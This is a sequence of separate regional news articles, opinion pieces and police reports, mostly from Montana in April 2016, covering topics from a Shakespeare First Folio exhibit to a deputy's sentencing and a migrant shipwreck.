It also helped that Trump dispatched the latest additions to his campaign team, both Republican veterans, to assure the party elite Thursday night  in a private, happy-hour briefing that included oysters, shrimp dipped in remoulade and an open bar  that he doesnt really view the GOP as the nemesis he portrays on the stump.

More here.

Photo credit: Wilfredo Lee, Associated Press
Even Shakespeare's immortal works need help sometimes: it took printed words to ensure his plays were passed down to future generations.

In 1623, seven years after his death, two of the playwright's friends collected 36 of his plays into a folio, including 18 that had never been printed before.

Those include "Macbeth," "Julius Caesar," "As You Like It," and "The Taming of the Shrew," to name a few.

One of those copies, known as the First Folio, will be on display next month at the Montana Museum of Art and Culture, in a joint exhibition sponsored by the Mike and Maureen Mansfield Library.

"It's a very important book in the history of literature," said Maribeth Cote, public engagement coordinator for the Folger Shakespeare Library in Washington, D.C.

Only 750 copies were printed, and it's now believed that only 223 exist. Eighty-two of those are in the hands of the Folger.

"It's very rare that you'd be able to go into a museum anywhere in the world and see the book," Cote said.

The Folger Shakespeare Library opened in 1932 with the Shakespeare artifacts collected by Henry Clay and Folger and his wife Emily Jordan Folger. The couple began buying up anything related to Shakespeare they could find in the late 1800s.

Now, the Folger is "the largest collection of Shakespeare-related items in the world," Cote said.

To mark the 400th anniversary of Shakespeare's death, the Folger is exhibiting a First Folio in each of the 50 states, plus Puerto Rico and Washington, D.C.

The MMAC and the Mansfield proposed Missoula as the site in Montana. The nearest locations to get a look at the book outside Montana are in Boise, Idaho, or Bismarck, North Dakota.

"We're delighted to be the only Montana venue to be able to offer this incredible opportunity," said MMAC director Barbara Koostra.

"It's certainly one of the rarest books in existence and an incredibly culturally rich document representative of all Shakespeare's influence throughout these last 400 years," Koostra said.

Those include other playwrights, poets, writers, painters, musicians, composers, songwriters and filmmakers, she said. Books include "Moby Dick" and "Brave New World," and films ranging from the obvious ("Shakespeare in Love") and the more subtle ("The Lion King").

The composers alone include Prokofiev, Verdi, Mendelssohn, Sibelius, Tchaikovsky, Berlioz and Brahms.

"A great deal of artistic output was influenced by his themes and his sense of humanity," she said.

***

The Folio will be exhibited in a glass case and requires climate control. No flash photography is allowed.

"They're in pretty good shape and we want to make sure we can keep them around for another 400 years," Cote said.

Accompanying the book will be six interpretive panels on Shakespeare, the folio itself and links to web content that can be loaded on a smartphone.

There's a host of other programming surrounding the exhibition. The UM School of Theatre and Dance is staging "Romeo and Juliet." The Roxy Theater is screening Shakespeare movies, including Kenneth Branagh's "Hamlet" and Baz Lurman's "Romeo & Juliet." The Missoula Writing Collaborative is hosting youth and teen writing workshops. Doctorate-wielding academics such as John Hunt and Linda Woodbridge will give lectures, and the teachers will bring students in for educational tours.

Koostra said the the Mansfield Library staff, including Julie Biando Edwards, spent years bringing the proposal and programming together.

"In May, we'll see the culmination of two years of planning and collaboration," Koostra said.
BILLINGS  Breaking up is hard to do.

Untangling Montana State Parks from the Department of Fish, Wildlife and Parks caused some friction between the two agencies during a meeting in Miles City on Thursday. State parks has long explored moving to a different agency, possibly the Department of Commerce.

On Thursday the Montana State Parks and Recreation Board asked FWP director Jeff Hagener to create a committee to explore what to do with 16 state parks that have encumbrances on them because they were purchased in part with federal dollars that specify how they can be used.

A portion of one park in particular, West Shore State Park on Flathead Lake, has to be dealt with faster than the others because being out of compliance jeopardizes federal funding that FWP receives, an amount that totaled $27 million this year. FWP had been considering a land exchange to fix the problem, but finding property of equal value to Flathead lakeshore is difficult.

The 1,400 feet of lakeshore on the Flathead property is valued at $4,500 to $10,000 a foot, or $6.3 million to $14 million. FWP had hoped to move the federal wildlife encumbrance to the Marias, Yellowstone and North Shore of Flathead Lake wildlife management areas. But a ballpark figure on those properties added up to only $4 million. The Fish and Wildlife Service has said the properties have to be of equal value.

Other options FWP presented to the board to resolve the encumbrance was that state parks pay for the properties at a fair market price or some type of lease, again at fair market value, be worked out.

State parks board members balked at the proposals.

This is kind of a Pandoras box, said Mary Sexton, parks board member. To deal with one little sliver is inappropriate. I think there are other options that could be investigated.

Sexton suggested a working group composed of a variety of colleagues, including parks board members, to explore other ideas.

This is something thats going to take some time, she said.

Tom Towe, parks board president, said he disagreed with the U.S. Fish and Wildlife Service that the exchange needed to be based on current fair market value.

The fact is the law is not that clear, but that is how the feds are going to interpret it, he said.

FWP director Hagener said it would be easy for him to deal with the other state parks that have federal encumbrances.

I dont think thats an issue, he told the board. But West Shore is an issue.

I think there are other options to be pursued, Sexton said.

Im not sure what the goal is, Mary, Hagener responded.

Sexton emphasized that she wants the parks board included in the discussion.

There are a variety of options here, she added. Its not as black and white as it was portrayed here today.
For Judson Miller, education matters isn't just a phrase used by teachers in Missoula, he saw it in action and that's why he wanted to come back to Montana.

On Thursday, Missoula County Public Schools Superintendent Mark Thane announced to staff that Miller would become the next principal of Hellgate High School. Miller is currently the principal of North Kitsap High School in Poulsbo, Washington.

He was chosen from a field of five finalists.

"This is a lifetime move in a great community," Miller said.

The former English teacher has also served as a dean of students, assistant principal and principal for the previous five years. Thane touted Miller's recent experience with implementing professional learning communities among high school staff that helped improve the craft of teaching as well as trying to improve student performance.

"We are excited to find an educational leader who understands and appreciates the vision and the ambitions of our district, who has deep ties to Montana and who brings the excellence of his career in Washington to the staff and students at Hellgate High School," Thane said.

Miller, a Michigan native, received his bachelor's degree from Montana State University. He has family living in the state and said this is really a homecoming.

"The opportunities here are boundless," Miller said. "What inspired me was the dynamic leadership within the district and the connection our schools have with the university."

He called Missoula on "the forefront of innovation," at the high school level.

Miller said he will relish the opportunity to interact with students and work to build trust and rapport with current staff who have a deep connection to the school.

Miller will begin on July 1.

***

Thane also announced Elise Guest has accepted the position of Executive Director of Teach and Learning. Guest is a graduate of Missoula County Public Schools and currently serves as the upper elementary principal of the Stamford American International School in Singapore. She's also served as the principal of Menlo Park Elementary and vice-principal of David Douglas High School in Portland, Oregon.
HELENA  Three state lawmakers say they are going to propose a bill in the 2017 Legislature to change how a state-owned plane can be used.

Sen. Mark Blasdel, R-Kalispell, and Reps. Ryan Osmundson, R-Buffalo, and Brad Tschida, R-Missoula, said the bill will prohibit use of the state plane for traveling to state events within 120 miles of Helena, except in an emergency.

The bill would also prohibit the use of a state plane when official and campaign events fall on the same trip.

The move comes after Republicans have criticized Gov. Steve Bullock's use of the state-owned plane. Rep. Brad Tschida, R-Missoula, accused Bullock of holding campaign events at taxpayer expense in a guest opinion ran in The Missoulian newspaper.

Over the years, Democrats and Republicans have traded jabs over use of the state plane. Last legislative session, a budget subcommittee on a partisan vote stripped away money used to pay for the plane temporarily. Tschida made the motion, arguing too many flights were made to places like Butte, Great Falls and Missoula. Bullock's staff has said the plane is necessary for travel in a large state and to keep the governor from spending all his time getting from place to place.

This campaign season, he has criticized flights Bullock made to state events in Billings, Missoula and Bozeman and then attended campaign events after.

Bullocks legal advisors have said there was nothing wrong with the governors use of the plane.

Bullock spokeswoman Ronja Abel said Thursday: "Gov. Bullock uses the state plane less on average than any previous governor. It is a shame these legislators are already more focused on playing politics with plane policy than they are on job creation policy."

However, the governor released a new policy last month to allow for reimbursement.

The policy the governor adopted and made retroactive to the start of his term will refund the state, though the release said increased costs to the state are very rare due to the fixed costs associated with the trips.

The governor has paid the state back for costs from 21 trips. The state plane costs $500 an hour to operate, according to a Bullock spokeswoman. That works out to Bullock paying back an average of $127.23 per trip.

On Friday the Republican Governors Association will release its first ad in the Montana governor's race. The ad focuses on Bullock's use of the state plane.

The six-figure ad buy will run in four markets across the state.

Suffering from a severe lack of credibility and transparency, Gov. Steve Bullocks latest attempt to deceive voters has created a crisis of leadership in Montana, said RGA communications director Jon Thompson. After getting caught using the state plane for campaign travel more than 20 times  spending precious taxpayer dollars for political purposes  Bullock has refused to release his schedule, hiding the truth from Montanans. Steve Bullock is just another liberal politician covering up a scandal.

Montana Democratic Party spokesman Jason Pitt questioned if the lawmakers who promised the legislation knew about the ad buy.

"We expect this is the first of many dishonest attacks from a Washington, D.C. front group funded by dark money kingpin Greg Gianforte. It's hard to trust Gianforte with anything since he is ducking questions on discrimination laws, hiding his history of donating millions to out-of-the-mainstream interest groups, and now was caught lying about talking to Facebook.

Pitt said Bullock has used the plane less on average than any other governor, and also questioned Gianforte's donations to the RGA, correlating past donations with the price of the ad buy.

Blasdel, Osmundson and Tschida released the following statements:

Sen. Mark Blasdel: This bill puts an end to any governors ability to abuse taxpayer dollars  its simply wrong to take advantage of a State resource to raise money for your campaign.

Rep. Osmundson: As a pilot, Im deeply bothered by Bullocks misuse of the State plane, flying such short distances that should be driven and shortchanging taxpayers by refusing to pay for the full costs of the state plane.

Rep. Tschida: Theres a level of arrogance demonstrated by our Governor, who only reimbursed taxpayers because he got caught and then continues to fly on the taxpayers dime to these fundraisers, as if nothing were wrong.
Being a conservative and being a conservationist are not mutually exclusive. Its my conservative principles that drive my commitment to conservation. Whether one believes our Earth was created by God or not, nobody can argue the fact that it is the only one we have. Its our responsibility to be good stewards and ensure our children and grandchildrens children enjoy the same outdoor opportunities that we have.

When you sent me to Washington, protecting Montanas public lands was, and remains, one of my top priorities. Party leaders and I dont always see eye-to-eye on conservation issues, but they always know where I stand. Selling off our public lands is a non-starter. Ive voted against budget resolutions and bucked party leadership on more than a couple occasions to defend our lands.

Although Ive only been in Congress for 16 months, Ive worked with conservation groups across Montana to help craft important conservation and recreation legislation. I was the only member of the Montana congressional delegation to vote for the Land and Water Conservation Fund, which was reauthorized, funded and signed into law in December. I also helped pass the SHARE Act in the House, and now am working with the Rocky Mountain Elk Foundation, Backcountry Hunters and Anglers, Montana Wildlife Federation and other stakeholders to help pass the bipartisan SCORE Act.

The SCORE Act includes seven conservation provisions. One of the programs is the Federal Land Transaction Facilitation Act (FLTFA). Prior to its expiration in 2011, FLTFA was an important conservation tool that allowed local and federal governments to better manage the checkerboard of public and private lands. It did this by funding Bureau of Land Management, Forest Service, National Park Service, and Fish and Wildlife Service land conservation projects that increase public access for recreation, conserve habitat, protect water and preserve cultural resources. FLTFA in Montana often uses land for land swaps in order to acquire high-priority lands like Browns Gulch near Helena or land near the Red Rock Lakes National Wildlife Refuge.

The Sportsmen's Heritage and Recreational Enhancement (SHARE) Act is another comprehensive and bipartisan bill that protects the right of American sportsmen to fish and hunt. It cuts red tape and backdoor regulations which block hunting and fishing on BLM and USFS land, and helps safeguard against new regulations that threaten to block or limit Montanans Second Amendment rights. The bill will protect Montana jobs and economic growth by supporting recreational opportunities. The SHARE Act passed the House last year, and Im hopeful the Senate takes it up soon.

I also support conservation easements. Last year, I helped lead the fight in Congress when we enacted one of the most powerful conservation measures in decades: the federal tax incentive for conservation easement donation, which included my bill, the Conservation Easement Incentive Act of 2015. I fought for easements because our tax code should incentivize farmers, ranchers, and land owners to voluntarily support conservation by donating their land for a tax write off if they so choose.

Montanas multi-billion-dollar outdoor recreation industry supports 64,000 jobs in the state, is responsible for more than $5.8 billion in consumer spending, and contributes $1.5 billion in wages and salaries. In total, the industry contributes more than $400 million in local and state tax revenues. Important legislation like the LWCF, the SHARE Act and the SCORE Act protect our parks, hunting and fishing access, and hiking trails, ensuring Montanas outdoor economy can continue to provide world class recreational opportunities.

I often tell people Im a Teddy Roosevelt conservationist. Like Teddy, I believe our lands are worth cherishing for the greater good. While there is a lot that separates folks as Republicans and Democrats, theres also a lot that binds us together as Montanans and Americans. Preserving and conserving our public lands, is one of those values. As Earth Day approaches, Im calling on my colleagues to work on the things that bring us together. Lets work toward better stewardship and management practices so our public lands can be enjoyed for generations to come.
Growth is coming to Missoula and much of western Montana. Like it or not, benefit from its inevitable profits or feel the bite of its inevitable costs, growth is coming. Recognizing the inevitability of it, and getting ready for it is often called "smart growth," which some will find good reason to cheer, while others will find good reason see it as just making the best of a bad situation.

Growth has shown its face in many ways. Lately, its shown its way into important debates about land use. On the one hand, there seems to be popular faith that building more housing might make it more affordable. At the same time, theres been a lot of interest in keeping some great soils in the business of making the things that people need to eat. In this we seem to face a choice between providing local food for a growing population, or providing a growing population with local shelter.

Growths inevitability forces us into choices like these, but theres more than just destiny at work here. Growth is also chosen, actively promoted, as part of spending in the name of economic development. But it seems hard to make a case that housing has actually become cheaper as a result.

Missoulas population has been growing for decades. City and county alike have also seen plenty of construction that created a growing number of homes. What this history shows is that, instead of building our way to greater affordability, rents and home prices have been rising, becoming less  not more  affordable. Has it really been smart to spend for the sake of pushing growth/development beyond the inevitable? Is it fair to ask who can afford to continue this spending?

Some things seem pretty clear. One is that the combination of inevitable and promoted growth has pushed home construction into fires way. And into the path of likely future floods. The economic costs of growing our way into these areas comes with the environmental costs to the wild species inconvenienced and even threatened by increasingly dense human occupation of wildlife habitat. Some birds, for example, flee their preferred habitat when traffic noise makes their natural homes less livable. In an article for the Winter 1982 issue of "Western Wildlands," U.S. Fish and Wildlife Service biologist Chris Servheen wrote that residential development is the most detrimental thing that could happen to grizzly country.

At the same time, and maybe most ironically, the effort to build our way to affordability of human homes has pretty consistently failed to meet the needs of many human residents. As a recent Missoulian article made pretty clear, plenty of Missoulians just dont make enough money to buy the homes being built here. Given the broad and energetic opposition to paying people higher wages, were left with a scenario that requires the promoters of growth to import new buyers who are well-off enough to do the buying that the locals cant afford. This seems a cruel form of the build it and they will come approach to this thing we call economic development.

An equal irony looms. Promoters of growth frequently point to the growing tax base it can create, but often fail to quickly add that this new tax money will be gobbled up by inevitable new costs for building and then maintaining the expanding systems of roads, water, sewer and fire protection services that a growing human population will expect, even demand. Yes, growth delivers benefits. It also delivers costs.

Growth has been and will be coming to Missoula and much of western Montana. Some and possibly most of it can be chalked up to inevitability. Getting prepared for the inevitable is and will be smart. But that still leaves many Montanans to wrestle with questions about the future of all those who cant afford this inevitable change, the wildlife that current and future residents see as reason to live here, and whether politicians might one day face limits to their bragging rights about pushing economic development beyond the unavoidable.
Green and growing huckleberry bushes to U.S. Sen. Steve Dainess announcement, just in time for Earth Day, that the Land and Water Conservation Fund will provide Montana with nearly $900,000 in fiscal year 2016. The Department of Interior program uses a formula to disperse money collected from offshore oil and gas leases to the states, which then use it to complete a variety of conservation and recreation projects at the local level.

An encumbrance of chokecherries to the unwelcome discovery that part of West Shore State Park on Flathead Lake is in violation of federal regulations, meaning the Montana Department of Fish, Wildlife and Parks is on the hook to pay for appraisals that could cost thousands of dollars and force the agency to divert money from other programs.

Huckleberries to the 39th annual International Wildlife Film Festival and last Sundays WildWalk parade. The parade, which features participants of all ages in animal-themed costumes flapping, trotting and pawing their way through downtown Missoula, encourages children to learn more about wildlife  and the festival offers an accessible, family friendly opportunity to do just that. This years festival started April 16 and will wrap up on Saturday, and today, an awards ceremony at 5 p.m. in the Wilma Theater will honor festival founder Chuck Jonkel, who died last week.

Chokecherries to the thoughtless Yellowstone National Park tourist who was recently caught on video petting a bison. The video was shared by Eugena True on the Yellowstone Visitor Facebook group page, or else we might not have believed anyone would be so reckless as to approach a large wild animal that is capable of causing serious injury, and even death, as though it were a bunny in a petting zoo. A park ranger gave the woman a talking-to, but if incidents like these persist park managers may have to get more heavy-handed and start handing out hefty fines to those who wont otherwise keep a respectful distance between themselves and the bison.

Huckleberries to Home ReSource and its investors with Berkley United and Good Works Ventures for putting together a deal to allow the nonprofit to purchase its current location. The 13-year-old organization, which counts 30 employees, encourages the reuse of building materials and diverts some 1.5 tons of material from the landfill each day. Thanks to its investors, Home ReSource was able to purchase an adjacent lot and will continue helping Missoula drastically reduce its waste from its expanded site on Wyoming Street for years to come.
It is undoubtedly true that how we spend our money reveals a lot about ourselves. But there is something obscenely voyeuristic about scrutinizing private citizens legal charitable contributions in order to attack them. This is what state Sen. Christine Kaufmann attempts in her recent (April 11) op-ed on Greg and Susan Gianfortes charitable giving. That she does not even find this method embarrassing indicates how eager she is to sacrifice decency for the purpose of personal destruction.

I respect Kaufmanns willingness to express her strong opinions on social issues. To dismiss other people's religious convictions, though, in order to accomplish this purpose, is disgraceful. It belongs to a political culture that, to use her word, is most definitely dangerous.

Rather than attacking the Gianfortes, maybe she should look at her own partys record in government. Our state is No. 1 in the suicide rate nationally and second-to-last in wages. Nothing shows more clearly how much her party has neglected the critical issues Montanans face.

Without a hint of humility, Kaufmann presents herself as a moral authority. I am unconvinced, but I take her at her word.

Let me suggest a moral imperative: Where was she when her party supported an agreement with the Iranian theocracy? The deal has given financial support and international legitimacy to a violently anti-gay and anti-woman, murderous regime. This represents a perfect opportunity for people who claim moral leadership to speak out.

It would clearly give her credibility but it would, of course, also demand courage.

Tom Downey,

Butte
When Pam Bucy starts on about equal pay, she should look in the mirror and examine the Department of Labor's elitist practices and policies.

My wife worked a job that, because of her disabilities, she could do without causing her any problems. The main organization paid her $12 an hour, but as an independent contractor much like doctors and lawyers, who have made the exceptions to the rules to benefit themselves.

The Department of Labor stepped in and the main company turned her over to an all-woman's group in Oregon that paid her $8.25 an hour, yet for the same job in Oregon the pay was higher.

The Department of Labor doesn't seem to be helping people work here in Montana, nor do they seem to care. One year she worked 100 days, yet the next year, when the all-woman's organization took over, they hired more women and reduced her work schedule down to 30 days.

Pam Bucy's Department of Labor, with their elitist attitude, have failed to address this inequality. Now she and Sheila Hogan want to wave the flag of injustice and see themselves as defenders of fair equal pay when they themselves are part of the problem.

They need to raise the minimum wage to come up to par with the surrounding states. Pam Bucy and Sheila Hogan need to tear down that wall of inequality and open up to fairness and common sense by raising Montana's minimum wage to a higher level like in Oregon and Washington.

Roy Rando,

Frenchtown
BUTTE - For nearly 40 minutes, Madrombe Mbaibikeel smiled.

Sometimes widely, sometimes just a little, but almost always smiling.

He left his war-torn African country of Chad in 2003, made it to Montana six years ago, fell in love with it and got a degree from the University of Montana in Missoula.

And on Thursday, he was among 25 people from 21 nations or provinces who became U.S. citizens during a ceremony in the Mike Mansfield Federal Building in Butte.

I love it here in Montana, Mbaibikeel said after the ceremony, a small U.S. flag resting proudly in his suit jacket. I love the heights. I have learned how to do a lot of survival skills to become a mountain boy.

In a packed courtroom, young students from the Silver Bow Montessori School sang America the Beautiful before the group stood and took the oath of allegiance. They were presented with small American flags and their certificates of citizenship, complete with their photos.

Several turned to show them off to friends and family in the audience, and most joined Mbaibikeel with smiles as they got a standing round of applause for their journeys to naturalization.

U.S. District Judge Ralph Kirscher said he was honored to welcome them as new citizens of a great, diverse nation of immigrants.

I cannot think of a better city or courtroom in our district to conduct a naturalization ceremony, Kirscher told them. As you know, Butte historically is Americas great mosaic. Very few cities in the United States can claim more diverse ethnicity than Butte, America.

Everything in America  its education system, its mines, its farms and oil fields and steel mills and technology, its space program and its businesses were created, built, dug, tended, drilled or stoked by immigrants, Kirscher said.

Our culture; society; art; food; music; humor; language; literature; and, indeed, our daily lives are made immensely more interesting because of immigrants, he said. Each of you will enrich this nation beyond any expectation.

The new citizens hailed from all parts of the world, including Argentina, which on this day brought us Jimena Ines Soleda Diaz. She came to the U.S. and Montana in 2010 to do biology research and has since gotten married and now has an 18-month-old daughter.

The people are awesome here, and in Montana theyre amazing, she said. I feel like an American now.

Mbaibikeel will be moving to Washington D.C. soon to take a pharmaceutical job, but he said he plans to visit Montana every year. When asked if he even liked the bitter cold weather here, he smiled widely once again.

I love it, he said.
HELENA - A former Lewis and Clark County sheriff's deputy arrested for pulling a gun on a man he called "an ISIS" while drunk at a party received a deferred sentence Thursday.

Phillip Jay Clark was initially charged with two felony counts of assault with a weapon and criminal endangerment on accusations he pointed a gun at a man's chest three times with his finger on the trigger at a bonfire in December. Clark pleaded guilty to two lesser charges of negligent endangerment as part of an agreement.

Clark, 49, received an 18-month deferred imposition of sentence for the two charges.

Clark, who has since resigned from the sheriff's office, admitted to causing substantial danger by pointing and waiving a loaded firearm at various people while intoxicated during a bonfire outside his home on Dec. 4.

"Mixed with the alcohol, the handgun probably wasn't a good idea," Clark told District Judge Kathy Seeley.

Seeley went with a compromise between the sentence recommendations of both sides. Ole Olson, assistant state attorney general, asked for a two-year suspended jail sentence with special conditions.

"Several innocent lives were put at risk," Olson said.

Clark's private attorney, Matt Johnson, recommended a one-year deferred imposition of sentence. Under both sentences, he would be under supervision. With a deferred sentence, the conviction can be removed from his record upon completion.

Clark, who has been on house arrest when not in treatment, opted to have his initial appearance, arraignment and sentencing in one hearing.

As conditions of his sentence, Clark must relinquish his Public Safety Officer Standards and Training certificate, not possess any firearms, follow treatment recommendations, including six weeks of in-patient treatment for post-traumatic stress disorder, and not consume alcohol for the duration of the sentence.

Clark, who has been in law enforcement for 24 years, was arrested in January. At the time, he had already started treatment for PTSD partly stemming from military deployment oversees, according to testimony.

Clark's rock bottom was being put in an orange jail jumpsuit in front of coworkers and inmates he had arrested, Johnson said.

"That was significant punishment for him," Johnson said. "He's here a broken man. He knows he's messed up."

At the time of Clark's arrest, Johnson said his client was acting in self defense. The topic was not brought up during Thursday's hearing.

The main victim, identified as C.F., is a friend of Clark's neighbor, court documents note. C.F. told the investigator Clark was "super intoxicated" and "excited" when he arrived at the gathering.

The documents say C.F. told the investigator Clark hit him in the ribs, then asked the victim to name the capital of Thailand, responded "Bangkok" and hit him in the groin before the man could respond.

"C.F. had long hair on his head, facial hair and he is half-Asian," court documents note.

Later during the bonfire, Clark reportedly became aggressive toward the man again and called him "an ISIS" while brandishing his gun. C.F. reported a friend telling him to flee.

"He said as he ran away he was '100% positive he was gonna start shooting,'" the documents say.

During Thursday's hearing, Johnson called Clark's wife, Michelle, to the stand. She spoke of the hardships the arrest and subsequent media coverage has caused her family. Clark was placed on leave when the accusations surfaced and he was later forced to resign from his job as sheriff's deputy, she said.

"The impact is that he's lost everything," Michelle Clark said.

"It's been a nightmare for my family and myself."
KALISPELL (AP)  Authorities say a man was killed when a logging truck and a pickup crashed into each other south of Creston.

Montana Highway Patrol Trooper Jason Fredenberg tells The Daily Inter Lake in Kalispell that the pickup driver, whose name has not been released, was headed south on Montana 35 when his vehicle crossed the center line and crashed into the logging truck Thursday afternoon.

The driver of the logging truck was not injured.

Logs littered the highway at the scene of the crash, where the pickup had been pushed across the lane, crashing into the guardrail.

No other information was released.

___

Information from: Daily Inter Lake, http://www.dailyinterlake.com
THERE has been much debate about whether a bill advancing through Congress that aims to expose Saudi Arabia to lawsuits in American courts for its alleged connection to the 9/11 attacks would unduly harm diplomatic and economic relations between the two countries. But the bills potential for harm extends far beyond bilateral relations with one ally. It would also violate a core principle of international law, and it would jeopardize the effectiveness of American foreign aid and the legitimacy of the United States actions in the war on terrorism.

A nations immunity from lawsuits in the courts of another nation is a fundamental tenet of international law. This tenet is based on the idea that equal sovereigns should not use their courts to sit in judgment of one another. Many nations have tacitly agreed to limit immunity in specified contexts, such as when they engage in certain commercial activities. But apart from those exceptions (or where a binding treaty or Security Council resolution otherwise dictates), international law continues to guarantee immunity, even for alleged egregious crimes.

No nation benefits more from this arrangement than the United States. It conducts far more diplomatic, economic and military activities abroad than any other nation. Were the sovereign immunity rule to weaken, the United States would be subject to many more lawsuits in foreign courts than any other nation and would become an attractive and high-profile target for politicized litigation designed to contest its foreign policy. For this reason, the United States has long resisted actions by other nations that would erode the international law of immunity.
Her Majestys a pretty nice girl, but she doesnt have a lot to say. So went a Beatles song back in 1969, and in its inimitable way, the ditty  mildly disrespectful and yet almost like a love song to the queen, as Paul McCartney described his lyrics  seems to echo what many Britons, and many people around the world, feel about the stoic, steadfast, kindly, hard-working and very British woman who has been queen since most of them can remember, and who turned 90 on Thursday.

Elizabeth II, by the grace of God, of the United Kingdom of Great Britain and Northern Ireland and of her other realms and territories queen, head of the Commonwealth, defender of the faith, to recite her full title, is not the only monarch in Europe (there are 11 others) and not even the only reigning queen (Margrethe II has held that job in Denmark for just over 44 years. ). But while it may be hard to fathom why ultra-progressive Scandinavian countries like Norway cling to vestiges of a feudal order, it is still harder to imagine Britain without a crowned monarch  and for anybody under 64, without THE queen.

Her longevity is remarkable. She is the longest-reigning monarch in British history and the longest-reigning queen in world history; since ascending to the throne she has known 12 prime ministers, starting with Winston Churchill, and 12 American presidents.

It has not been an easy reign. The queen once described 1992, a year of tawdry divorces and revelations in the royal family, as an annus horribilis; the death of Prince Charless first wife, Princess Diana, in 1997 provided more trials. Throughout it all, the queen maintained the celebrated British tradition of the stiff upper lip, a feat chronicled in Helen Mirrens 2006 Oscar-winning performance in The Queen. If you were designing someone to be monarch here in Britain, I think you would design someone exactly like Elizabeth II, said John Major, one of the prime ministers who has served during Elizabeths reign, in one of the many tributes on her birthday.
Mr. Mahmud, a 25-year-old from Ethiopia, said that he, his wife and their infant son had boarded a boat late last week in Tobruk, in eastern Libya, with around 200 other migrants, mostly from Somalia, Sudan, Eritrea and Ethiopia. They paid the smugglers $1,800 per passenger to take them to Italy, where they hoped to apply for asylum.

After sailing for about 15 hours, the smugglers told the passengers in Mr. Mahmuds boat that everyone would be moved to a larger ship that was waiting in the middle of the sea.

As their boat approached the new ship, the passengers grew nervous when they realized the other vessel was already packed with people. Mr. Mahmud said that when he and others tried to resist, the smugglers forced them to disembark.

As Mr. Mahmud and his family were being transferred to the other ship, he recalled, it began to capsize. Flung into the water, Mr. Mahmud said he saw his wife and child, who were out of his reach, drown along with hundreds of others who were traveling with them.

My wife and baby, they were dead, he said. They drank the water of the ocean when the boat went down.

Mr. Mahmud, one of the few people aboard who could swim, said he made his way toward a boat that still had about 30 people on board. Those onboard threw him a rope, saving him and about 10 other people who had also scrambled to get to safety, he said.
Its no secret Butte has had its economic ups and downs since the underground mines closed.

Like many Americans who live in mining towns, Butte residents are reminded of the proverbial good ol days as they walk among the citys Uptown buildings, which stand as testament to a former, more opulent past.

But as The Montana Standard reported in February, Butte has seen a resurgence in recent years thanks to a more diversified economy.

And at the heart of any diversified economy, says Betsy Markey, are Americas small businesses.

Markey, the Rocky Mountain regional administrator for the Small Business Administration, based in Denver, was in Butte on Thursday for the Montana Economic Developers Associations spring conference.

More than 200 small-business owners, economic developers, and elected and appointed officials gathered for the event in the NorthWestern Energy building on Park Street, where they shared success stories and discussed how to better support small businesses.

In an interview with the Standard, Markey said that small businesses can help towns like Butte get back on their feet by creating more jobs.

Small businesses are really the job creators around the country, she said, noting that they are responsible for two out of every three jobs created in the United States.

For this reason, Markey said, its important to help small businesses thrive.

Markey said the SBA  along with local economic development groups, chambers of commerce, and small business development centers  are working to make that happen.

She pointed out that the SBA helps small businesses by guaranteeing loans and connecting entrepreneurs with experts who can help them come up with a business plan or prepare for an expansion.

SBA-affiliated organizations  including Women's Business Centers and the Boots to Business program for veterans  are helping entrepreneurs overcome the many challenges that come with starting a business, she said.

The statistics dont lie: Starting a small business can be difficult at times.

As SBA Deputy District Director Roger Hopkins pointed out, 40 percent of small businesses fail in their first two years of operations. In the first five, that number rises to 66 percent.

Much of the challenge of starting a small business, Markey and Hopkins said, resides in finding the money to get the business started.

Its probably number one  access to capital, said Markey.

So what advice do these economic gurus have for small business owners?

Both Hopkins and Markey advise prospective entrepreneurs to seek out the wisdom of experienced business owners.

Its so important in any endeavor in life to speak to people who have been through it before, said Markey. Theyve been in the pitfalls already, and they know how to help you avoid them.

Markey and Hopkins pointed out that there are many local resources where prospective business owners can get expert guidance, such as the Butte Regional Small Business Development Center, which provides free business counseling among other services.

You dont have to do it on your own, said Markey. Theres resources out there thatll help you.

And of course, the two said, entrepreneurs are always welcomed to call their local SBA.

We want to support the tax base and keep the economy growing and healthy, said Hopkins.

Small businesses play integral roles in their cities and town, the two said.

They give back to the community said Hopkins They provide essential services and goods.

Theyre an important part of (the) culture, said Markey. Theyre unique to every town  the business owners are moms and dads and everyone else.
Butte police reports

ASLEEP AT THE WHEEL

Brad OLeary, 29, of Butte was arrested for misdemeanor aggravated DUI, a second offense, after he was found sleeping behind the wheel of a running vehicle in the area of Front and Montana streets late Wednesday. A Breathalyzer test showed his blood alcohol content was more than twice the legal limit.

WRONG PLACE, RIGHT TIME

Sara Rose Reynolds, 30, of Butte was wanted on a misdemeanor criminal contempt warrant issued in Butte city court when police found her trying to retrieve her keys from inside the locked trunk of her vehicle on the 1200 block of Harrison Avenue on Wednesday.

WANTED MAN

Thomas Monroe, 56, was arrested Wednesday on a federal warrant for a probation violation on the first block of West Broadway Street.
Butte police reports

DISORDERLY CONDUCT

Nancy Rae Higdem, 57, was arrested for disorderly conduct after police say she fought with staff at St. James Healthcare on Thursday. Police say the homeless woman was at the facility for a mental health evaluation but her blood alcohol content level was too high.

CHECK FRAUD

A Butte man, 54, reported a check was taken from his vehicle parked at the Town Pump, 1301 Harrison Ave., and cashed for $1,500. Police are working with Glacier Bank branches in Butte and Kalispell.

CHROME THEFT

A brown 1976 Ford F150 parked in the rear of a residence on the 4000 block of Paxson Avenue was stripped of its chrome Thursday. Police say the metal was estimated at $700.
A Butte man is facing charges of felony custodial interference and misdemeanor endangering the welfare of a child in connection with a 15-year-old girl who was living with him.

At his initial appearance before justice court Judge Debra Williams on Thursday, William Percy Wingate, 70, said he took the girl in three years ago. His attorney, Kevin Vainio, presented a notarized copy of a document dated April 2001 in which the girls mother had surrendered her parental rights.

By default Mr. Wingate became the parent of the girl," said Vainio, adding that his client assured him nothing untoward took place while the teen resided with him.

Butte-Silver Bow County prosecutors allege Wingate knowingly kept or withheld the girl from her mother and that he violated his duty of care by providing an unfit living environment and hid the girl from her parents.

Undersheriff George Skuletich said a friend of the teens was concerned and reported possible verbal and physical abuse by Wingate to a school principal, who alerted police Tuesday.

The girl, who is not related to Wingate, was being home-schooled, police said.

It took two welfare checks by law enforcement before Wingate was located at his home on the 300 block of Galena Street at 4:30 p.m. Wednesday. The undersheriff said the girls mother had called Wingate earlier in the day, and he had agreed to bring the girl to her but failed to do so.

Fearing the girl may be in danger, police  accompanied by the state Child and Family Services Division personnel and the teens mother  made a forced entry and found Wingate sleeping on a bed.

The undersheriff said the house was in total disarray and dirty with evidence of fecal matter. A dog was present.

Wingate was arrested. The girl was found three hours later walking in a nearby alley. She had no obvious signs of trauma and was not wearing shoes. Police believe she may have been hiding in the residence at the time of the welfare checks.

